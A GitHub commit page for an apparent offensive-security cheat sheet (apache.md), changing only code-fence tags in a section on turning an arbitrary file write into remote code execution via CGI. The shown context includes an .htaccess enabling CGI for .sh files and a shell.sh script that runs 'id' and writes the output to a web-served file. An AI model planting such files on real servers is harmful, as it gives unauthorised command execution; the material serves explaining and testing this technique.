Skip to content

Commit 153bce1

Browse files
committed
update code tag
1 parent d6b6c5c commit 153bce1

1 file changed

Lines changed: 2 additions & 3 deletions

File tree

content/docs/framework/apache.md

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,6 @@ toc: true
1919

2020
## File Write to RCE via CGI
2121

22-
2322
In order to get your CGI programs to work properly, you'll need to have Apache configured to permit CGI execution.
2423

2524
```bash
@@ -30,14 +29,14 @@ LoadModule cgi_module modules/mod_cgi.so
3029

3130
File `/var/www/html/.htaccess`:
3231

33-
```
32+
```bash
3433
Options +ExecCGI
3534
AddHandler cgi-script .sh
3635
```
3736

3837
File `/var/www/html/shell.sh`:
3938

40-
```sh
39+
```bash
4140
#!/bin/sh
4241
echo -ne "Content-Type: text/html\n\n"
4342
id > /var/www/html/static/output.png

0 commit comments

Comments
 (0)